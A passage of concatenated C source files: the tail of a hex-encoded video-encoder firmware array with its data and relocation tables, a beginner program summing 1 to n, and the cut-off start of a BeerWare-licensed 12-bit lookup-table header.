0xd2080a20,
0x7440aa09,
0xc00002a8,
0xb7809204,
0xb76040cb,
0xb7604053,
0xc2006dcd,
0x5d915a15,
0x65b9c101,
0x9a22c034,
0x9eab02d0,
0xffb4018d,
0x9eb39b8f,
0xffb40982,
0xb7409816,
0xd0104a14,
0x7500aa41,
0x9324c000,
0x4b94b720,
0xa951d210,
0x4049b780,
0xfff47088,
0xd20892a8,
0xb75faa75,
0x70887c6c,
0x91d6fff4,
0x7d6cb77f,
0xffb49eb3,
0xfff49a71,
0xb70090e0,
0xd208470c,
0xb780a9e1,
0xb742458c,
0x9eb377b4,
0x9c629ea4,
0x4f14b700,
0xa961d208,
0x480cb720,
0x414cb700,
0x09d2d012,
0x4029b540,
0x9e84018d,
0xd2089c62,
0xfffea061,
0x754091a0,
0x9162c00e,
0xc0000e82,
0x9e789140,
0x2eeed3f2,
0x72a8b78a,
0xc003711b,
0xd0109134,
0xb74006de,
0x030b4b94,
0x0b60c082,
0xa951d208,
0xaa41d010,
0x0f52d012,
0xffff7088,
0xd3229148,
0xc1005fb0,
0x9ebb0d02,
0x09929e52,
0x9b6dff94,
0xc021020f,
0xd2080a00,
0xc038a9d2,
0x09860a70,
0xf0009dcd,
0x010fa1e1,
0x0900c021,
0x0970c046,
0xf0009dad,
0xb780a1e1,
0x9e6b470c,
0x05b8c101,
0xc0849e5c,
0xc0880da0,
0xd2080a20,
0xd010aa19,
0xc101a9ea,
0x1d8405b8,
0x9b02ffb4,
0x0986058b,
0x9b89ff94,
0x4a0cb700,
0x4028b780,
0xc00e7500,
0x020f91c4,
0x0a00c021,
0xc0080a40,
0x9dcd0c82,
0xa0e2f000,
0xc021010f,
0xc0400900,
0x9d2d0900,
0xc002aa61,
0x9dad3a40,
0xa261f000,
0xd3f29e78,
0xb78a2eee,
0x711b72a8,
0x9372fffc,
0xc00a7500,
0x0e8292c2,
0x9140c000,
0xd3f29e78,
0xb78a2eee,
0x711b72a8,
0x9174c00a,
0x04ded010,
0x4b94b700,
0xc0820203,
0xb7400a60,
0xd2084048,
0x7295a912,
0x0f52d004,
0x9148ffff,
0xb78f1904,
0xd0126f29,
0x72950f52,
0x5eb0d322,
0x4714b720,
0xd0010902,
0xc0080922,
0xc2000d02,
0xb55f5a08,
0x9eab776c,
0xc1019e52,
0x099200c2,
0x662db7c0,
0x9ae5ff94,
0xc021020b,
0xc0080a00,
0x0a400d02,
0xf0009dcd,
0x010ba162,
0x0900c021,
0x0920c040,
0xa9629d2d,
0x0a50c03e,
0xaa619d4d,
0x0a80c021,
0x0ac0c046,
0xa9619d5d,
0xc0097480,
0xb55f9204,
0x0185756c,
0xb7859e78,
0x750053aa,
0x91a2c000,
0x7a74b71f,
0x776cb73f,
0x76000a02,
0x0a42d001,
0xb53f20c2,
0xb720776c,
0xb7604714,
0xd0104b14,
0xb7440652,
0xc082414d,
0xd2080a60,
0x0134aa11,
0xa962d010,
0x0242c101,
0xc0880189,
0xc08409a0,
0xd2080a20,
0xd008ab09,
0xb78fa9f9,
0xb70f7849,
0x76807149,
0x414db544,
0x76ecb57f,
0x75ecb59f,
0x766cb51f,
0x9204c007,
0x7d4db783,
0xc0077500,
0xb7e39082,
0xd0107acd,
0x048f04de,
0x6f29b78f,
0x7a6cb73f,
0x754bb7a8,
0x5a08c200,
0xc1017440,
0xb72000ce,
0xb53f662d,
0xc00074ec,
0xb74092a4,
0xd808470c,
0xd808a9c6,
0x0005aa41,
0xc2005d95,
0xb7605a11,
0xd1326dac,
0xc03461c7,
0x006098a9,
0x2b0ed3f1,
0x7774b71f,
0xc0067600,
0xb7209242,
0xb785470c,
0xe0004fad,
0xd0122a08,
0xb3401000,
0xb77f4422,
0xb73f766c,
0xd32475ec,
0xd0115960,
0xb77f2936,
0xd01176ec,
0xc2002a1e,
0x591c5a0c,
0xc1803128,
0x9ea35a40,
0x35269e80,
0xd0113520,
0xc0042a76,
0x9e513900,
0x75403128,
0xb3540a12,
0x31224422,
0xb7203028,
0xd2a24f94,
0xb75f5e98,
0xd120756c,
0x058b0153,
0x09829e54,
0xa105f229,
0xa001f208,
0x99fbff94,
0x4f8cb760,
0x0950d052,
0xc101058b,
0x09c20526,
0x99f1ff94,
0x4f94b760,
0x0950d092,
0x0982c002,
0x058b0526,
0x99e7ff94,
0x4f8cb780,
0x0ac0c002,
0xd020058b,
0xc0020158,
0xff9409c2,
0xb75f99dc,
0xc00474f4,
0x09020982,
0xff54058b,
0x058b9930,
0x994bff54,
0xff54058b,
0xc0219a86,
0xc0100802,
0x9d0d0810,
0xd010a961,
0xb72f04de,
0xd0516f29,
0x08860a18,
0x41285230,
0xf0009d8d,
0x0d8ea161,
0x99aeff94,
0xff940d8a,
0x048f99ab,
0x45cdb783,
0xd3f29e78,
0x0a042eee,
0x45cdb583,
0x72a8b78a,
0xfff5711b,
0xb73f9332,
0xb77f73ec,
0xd0117aec,
0xd0110912,
0x70880a32,
0x79ecb53f,
0x73ecb55f,
0x9102c004,
0xb7aa9e78,
0xffc172a8,
0x9e5091e0,
0xa9a1d210,
0x77b4b742,
0x458cb780,
0x9ea49e93,
0xd2089c62,
0xb5dfab55,
0xffc8746c,
0xb70090a0,
0xb7e34714,
0x75c07acc,
0x9364fff8,
0xfff80b8e,
0xc0019300,
0xce000d8e,
0xd0100d80,
0x112c2626,
0x5a35c200,
0xc0041128,
0xc1001900,
0xb55f598c,
0xfff6756c,
0xb75f90a0,
0x754076ec,
0x5960d324,
0x59c0c100,
0xb3520912,
0x9e9b4422,
0x75ecb71f,
0x35269e90,
0xd0113520,
0x9e512a0e,
0x5a0cc200,
0xfffa3018,
0xb70090c0,
0xc0804714,
0xd2080ae0,
0xb742a9a1,
0xb78077d4,
0x058b458c,
0x9c629ea4,
0xaaa1d208,
0x480cb720,
0x4029b5a0,
0x9020fff1,
0x3980c080,
0x48adb563,
0x90c0ffd7,
0x736cb71f,
0x4814b7a0,
0xb51f0804,
0xffb47b6c,
0xb73f9b12,
0xc0807b6c,
0xffc45ab0,
0xb71f9220,
0xd111736c,
0x08040d20,
0x5ab0c000,
0xc021020b,
0xb51f0a00,
0xc0467b6c,
0x9dcd0a40,
0xa161f000,
0x92c0ffe6,
0x776eb79f,
0x77eeb7bf,
0x786eb7df,
0x78eeb7ff,
0x8c40c008,
0xb73f9c22,
0x0287796c,
0xb53f0884,
0xffdf7c6c,
0xa61d93a0,
0x8440c008,
0x4714b7c0,
0x9e710a02,
0x7aadb743,
0x412db584,
0xc0187484,
0xb78393c2,
0xb76f7dad,
0xb74f71a9,
0xb74f7131,
0x0a047229,
0x7dadb583,
0x71a9b54f,
0x7231b54f,
0x6029b560,
0x7129b56f,
0x4a8cb7a0,
0xd0519eab,
0xff9409d4,
0xf2089a4f,
0x008bab21,
0x08b1cf82,
0xc0177584,
0xb76f9262,
0x9ea97131,
0x7651b570,
0xb7859e71,
0xb720532b,
0x7500470c,
0x91c2c013,
0x79adb782,
0x7584048d,
0x68cdb583,
0x470cb720,
0x91c2c013,
0xc0137580,
0xc0219224,
0xc03c0a02,
0x9d4d0a40,
0xc001aa61,
0x0918090e,
0xc0127104,
0x9e719192,
0x772bb767,
0x5d889e71,
0x7229b74f,
0x71b1b74f,
0xaa41da10,
0xc1015908,
0x5d08012c,
0xa845f008,
0xb72005bc,
0x052c6aad,
0xa866f010,
0xa946f010,
0xf0086246,
0xf010a955,
0xd020a9f6,
0x744000c0,
0xc1019e71,
0xc10101c0,
0xb5630244,
0xb5836a2d,
0xb52373ad,
0xb54374b5,
0xb56378ad,
0xb5037935,
0xb54369b5,
0xb5037335,
0xb7a0742d,
0xc0144714,
0x048b91c4,
0x6dd5b7e0,
0xb7ea8502,
0xd01172c9,
0x9dcf1e7e,
0xc4129ea2,
0x75c07286,
0x92e2c015,
0xda109e69,
0xb787a922,
0xb762772b,
0x0d3c6935,
0x5d130a3c,
0x1d3cd011,
0x5a13c200,
0xc0061d04,
0x1a042d7c,
0xc2007482,
0x9e525a40,
0xb7a20b02,
0xb70278ad,
0xb702792d,
0xd00a7835,
0xc0070b62,
0x76d82a7c,
0xc0210e82,
0x9dcb0982,
0x0ed2d001,
0x0990c112,
0x2cbc30c4,
0x92e0c000,
0xc0017740,
0x76d29164,
0x9102c001,
0xc00176d4,
0x76da90a2,
0x9042c001,
0x0e22d011,
0x0980c100,
0x294ed3f2,
0xc001729f,
0x9dbd9102,
0xa0e1f000,
0xc0360207,
0x9dcd0a00,
0xa2e1f000,
0xc0360107,
0x9dad0920,
0xa061f000,
0x1a10c008,
0xf0009dcd,
0x7580a062,
0x92c2fffe,
0xc0200207,
0x9dcd0a40,
0xa0e2f000,
0x0e22d011,
0x0980c100,
0x294ed3f2,
0xfffe729f,
0x76c49384,
0x92e2c000,
0xc00076ca,
0x76d09282,
0x9222c000,
0x0a029e71,
0x532bb745,
0x6c2db580,
0xc0017480,
0xb7209024,
0xb542470c,
0xc0007c2d,
0x9e719360,
0xa9c2da10,
0x772bb787,
0x6d2db740,
0xc2005d91,
0xd1325a11,
0x9e7b61c7,
0xb5800a02,
0xb54c6c2d,
0xc0144a29,
0x048d9a35,
0x764bb505,
0x75d3b5e5,
0x470cb7a0,
0x996aff94,
0xc084020b,
0xd2080a20,
0x7480a901,
0x9104c000,
0x0a42c809,
0x0a00c6fe,
0x458cb580,
0x4994b720,
0x008b0a02,
0x4049b740,
0x532bb585,
0xc00c7480,
0x9e719342,
0xb5840a02,
0xb584412d,
0xff94402d,
0x048d9afc,
0x6ccdb7c0,
0xb7af0a16,
0x758a7349,
0x0fbec001,
0x0b82c021,
0x4426b364,
0x0ffccffe,
0x0ba0c010,
0x0d7f0309,
0x9e7a0ebe,
0xc0100d82,
0xff7409a2,
0x9d7d9be1,
0x7580a962,
0x92e2ffff,
0x2e2ed031,
0xc0097148,
0xd01093c2,
0x088219e2,
0x08849e6b,
0x5908c080,
0x9e535268,
0xc2002246,
0xc0005209,
0xffff9081,
0x71489040,
0x9244ffff,
0xfffe7182,
0xc00e9382,
0x020328fc,
0xb7a05888,
0xc101470c,
0xb740009c,
0x9e715035,
0xb58f010b,
0x0d827829,
0xc0740992,
0xff340920,
0x048d9b93,
0x68cdb782,
0x75061a28,
0x93d2c006,
0xb741008b,
0xda084b2b,
0x6144aa25,
0xb7a09e71,
0xb785470c,
0x0d82542b,
0x75009ea9,
0x6955b743,
0x5905d104,
0x09a6c008,
0x0125d120,
0x8d00e251,
0x9b72ff34,
0x7868b71e,
0xc084020b,
0x74000a24,
0xa001d208,
0x9042c001,
0xe2320882,
0xe2328c0e,
0x9e8b8c8c,
0xaa09d031,
0xa92ad031,
0x0912d011,
0x024cc101,
0x28aed3f1,
0x05b4d010,
0xc0880109,
0xc0840920,
0x70400a20,
0xa18ad208,
0xa15ad008,
0x29bed3f2,
0x9104ffff,
0xb7829e71,
0x7504692d,
0x9222c004,
0xc004750a,
0x751091c2,
0xd0020982,
0x048d09b2,
0x79cdb783,
0x5d55b744,
0x7ecdb742,
0xb7200a04,
0xd131470c,
0x71046629,
0x9e930902,
0x4856b323,
0xc00074c0,
0xb7859122,
0x7500532b,
0x4822b332,
0x40adb543,
0x470cb7a0,
0x9eab9e71,
0x7aadb763,
0x0de0c062,
0x9bceff94,
0xffb40d86,
0x048d991e,
0x53cbb785,
0xc0047500,
0xb7a09244,
0x9ea94a14,
0xb783030b,
0xd21045cd,
0xc080a921,
0x1a040b14,
0xb5837480,
0xc00545cd,
0xd2089004,
0xd0f1aa41,
0x75001d56,
0x90a2c000,
0xd0080a02,
0x008ba241,
0x79adb783,
0x7ab5b743,
0x76840a04,
0x79adb583,
0x9142c000,
0x7fadb783,
0x7f2db743,
0x7eadb583,
0x7fadb543,
0xb79f048b,
0x75006b49,
0x9322c000,
0xb780008b,
0x75006aad,
0x9262c000,
0xc0067682,
0x768293c2,
0x9266c006,
0xc0007684,
0xb7849144,
0xb74441ad,
0xd012412d,
0xb5847104,
0xb72041ad,
0x0a024994,
0x4049b580,
0x756eb79f,
0x75eeb7bf,
0x766eb7df,
0x76eeb7ff,
0x8c40c00a,
0x09829c22,
0x92e0fffb,
0xda089ea9,
0xb781a925,
0x62444b4b,
0x0148d020,
0x0528c101,
0x5d7dd122,
0x0124c101,
0xfff85907,
0x048d9360,
0x774bb787,
0x09ced071,
0x2980cffe,
0x9240ffed,
0x7a2db782,
0x7584048d,
0x68cdb583,
0x470cb720,
0x92c4ffec,
0x3a00c200,
0x68adb583,
0x9260ffec,
0xb5833a04,
0xffec68ad,
0x088291c0,
0xfff60203,
0x030b9360,
0xc080008b,
0xb7630b14,
0x9eb37aad,
0xd2080a02,
0xcfe2a241,
0xff940dcd,
0xb7a09b27,
0x0d824a14,
0x9875ffb4,
0xd2109ea9,
0xb783a921,
0x748045cd,
0xb5831a04,
0xfffb45cd,
0xb7809082,
0xb7634f0c,
0xb76440d5,
0xf208414d,
0xd252aa0d,
0x9ea40d58,
0xfffa9c62,
0x9e9392c0,
0x9b81ff94,
0x287cc00e,
0x5888c000,
0xb720009a,
0x9ea9662d,
0x0a02c021,
0x754db523,
0x6f49b50f,
0x0a40c146,
0x0880c004,
0xf0009dcd,
0xb745a0e1,
0x748058cb,
0x9184c000,
0x75cbb788,
0xc0007500,
0xb76490e2,
0x9e935b4d,
0x98a8ff74,
0x498cb740,
0xd0080a06,
0xfff1a241,
0x9eb39380,
0x9b2cff74,
0x9220ffeb,
0x7131b76f,
0xb790008b,
0xb59076a9,
0xffe87629,
0x048d91a0,
0x60c9b780,
0x7151b74f,
0x72c9b74f,
0xc00e0a04,
0x750c2a7c,
0x7149b54f,
0x72d1b54f,
0x60c9b580,
0x90d4ffe7,
0xb5800a12,
0xffe760c9,
0x0a029020,
0xb584008b,
0xb584422d,
0xfff941ad,
0x9ea99280,
0xb7440a02,
0xb584414d,
0xb54441cd,
0xfff9424d,
0x9e699140,
0x6935b762,
0x9220ffed,
0x2dfcc00e,
0x28bed3f2,
0xc0215db0,
0x35220d80,
0x0df0c116,
0xf0009dbe,
0x9c22a162,
0x08029e98,
0xc0000902,
0x9e989140,
0xd0100802,
0xcc144530,
0xc01472c0,
0x72c07200,
0x5d09c180,
0x7204e009,
0x5d04f012,
0x9254c000,
0xd00472c4,
0xd0240804,
0x72c015b4,
0x0802d004,
0x15b0d024,
0x3124e000,
0xb3301181,
0x9c22442a,
0x088672c0,
0x93a6ffff,
0x72c0c402,
0x2c9ed065,
0x3c9ed065,
0x7200c802,
0x2d2ed065,
0x3d2ed065,
0x1514e000,
0xd01a9e53,
0xd01a5408,
0x72c050ac,
0x0002d014,
0x15b0d024,
0x5885e080,
0xffff5c05,
0xe0009304,
0x11813124,
0x442ab330,
0x9e649c22,
0x0e42c809,
0x00c6b08e,
0x9e589ea4,
0x00009c22,
0x87c2c809,
0x0e80b060,
0x87c2c809,
0x0ba0b060,
0x87c2c809,
0x0ae0b060,
};
unsigned int aui32MPG4LLRC_MasterMTXTOPAZFWData[] =
{
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x809000b0,
0x809002c8,
0x82883958,
0x828843dc,
0x8288415f,
0x828840ba,
0x8288415e,
0x8288415c,
0x82884198,
0x8288412c,
0x8288415d,
0x828841a1,
0x82883fa0,
0x8288416f,
0x82884174,
0x8288416d,
0x8288416e,
0x82883f2c,
0x8288452c,
0x8288442c,
0x82884400,
0x82884428,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x80900950,
0x80900950,
0x809022c0,
0x8090627c,
0x809037d4,
0x809037ac,
0x80900950,
0x80900950,
0x80900950,
0x80900950,
0x00000200,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x00000000,
0x1234baac,
};
unsigned int aui32MPG4LLRC_MasterMTXTOPAZFWTextReloc[] =
{
0
};
unsigned char aui8MPG4LLRC_MasterMTXTOPAZFWTextRelocType[] =
{
0
};
unsigned int aui32MPG4LLRC_MasterMTXTOPAZFWTextRelocFullAddr[] =
{
0
};
unsigned int aui32MPG4LLRC_MasterMTXTOPAZFWDataReloc[] =
{
0
};
|
the_stack_data/73575516.c | /*Exercise 3 - Repetition
Write a C program to calculate the sum of the numbers from 1 to n.
Where n is a keyboard input.
e.g.
n -> 100
sum = 1+2+3+....+ 99+100 = 5050
n -> 1-
sum = 1+2+3+...+10 = 55 */
#include <stdio.h>
int main() {
int n , i, sum = 0;
printf("Enter the n :");
scanf("%d", &n);
for(i =1; i<=n; i++)
{
sum = sum + i;
}
printf(" Sum = %d",sum);
return 0;
}
|
the_stack_data/51701082.c | // Licenced as BeerWare
// Written by Marshall Taylor
// 2016
//
// You are free to do what you want with this file as long as you retain this header,
// and in the event that we meet you buy me a beer at your discretion.
//
//--------------------------------------------------------------------------------------
#ifndef BITPEROCTAVELUTS_H
#define BITPEROCTAVELUTS_H
#include <stdint.h>
const uint16_t twoPowers12bit[4096] = {
0, 11, 22, 33, 44, 55, 67, 78, 89, 100, 111, 122, 133, 144, 155, 167, 178, 189, 200, 211, 222, 233, 244, 256, 267, 278, 289, 300, 311, 322, 334, 345, 356, 367, 378, 389, 400, 412, 423, 434, 445, 456, 467, 479, 490, 501, 512, 523, 535, 546, 557, 568, 579, 590, 602, 613, 624, 635, 646, 658, 669, 680, 691, 702, 714, 725, 736, 747, 758, 770, 781, 792, 803, 815, 826, 837, 848, 860, 871, 882, 893, 905, 916, 927, 938, 949, 961, 972, 983, 995, 1006, 1017, 1028, 1040, 1051, 1062, 1073, 1085, 1096, 1107, 1118, 1130, 1141, 1152, 1164, 1175, 1186, 1197, 1209, 1220, 1231, 1243, 1254, 1265, 1277, 1288, 1299, 1311, 1322, 1333, 1344, 1356, 1367, 1378, 1390, 1401, 1412, 1424, 1435, 1446, 1458, 1469, 1480, 1492, 1503, 1514, 1526, 1537, 1548, 1560, 1571, 1583, 1594, 1605, 1617, 1628, 1639, 1651, 1662, 1673, 1685, 1696, 1708, 1719, 1730, 1742, 1753, 1765, 1776, 1787, 1799, 1810, 1821, 1833, 1844, 1856, 1867, 1879, 1890, 1901, 1913, 1924, 1936, 1947, 1958, 1970, 1981, 1993, 2004, 2016, 2027, 2038, 2050, 2061, 2073, 2084, 2096, 2107, 2119, 2130, 2141, 2153, 2164, 2176, 2187, 2199, 2210, 2222, 2233, 2245, 2256, 2268, 2279, 2290, 2302, 2313, 2325, 2336, 2348, 2359, 2371, 2382, 2394, 2405, 2417, 2428, 2440, 2451, 2463, 2474, 2486, 2497, 2509, 2520, 2532, 2543, 2555, 2566, 2578, 2590, 2601, 2613, 2624, 2636, 2647, 2659, 2670, 2682, 2693, 2705, 2716, 2728, 2740, 2751, 2763, 2774, 2786, 2797, 2809, 2821, 2832, 2844, 2855, 2867, 2878, 2890, 2902, 2913, 2925, 2936, 2948, 2959, 2971, 2983, 2994, 3006, 3017, 3029, 3041, 3052, 3064, 3075, 3087, 3099, 3110, 3122, 3134, 3145, 3157, 3168, 3180, 3192, 3203, 3215, 3227, 3238, 3250, 3261, 3273, 3285, 3296, 3308, 3320, 3331, 3343, 3355, 3366, 3378, 3390, 3401, 3413, 3425, 3436, 3448, 3460, 3471, 3483, 3495, 3506, 3518, 3530, 3541, 3553, 3565, 3577, 3588, 3600, 3612, 3623, 3635, 3647, 3658, 3670, 3682, 3694, 3705, 3717, 3729, 3740, 3752, 3764, 3776, 3787, 3799, 3811, 3823, 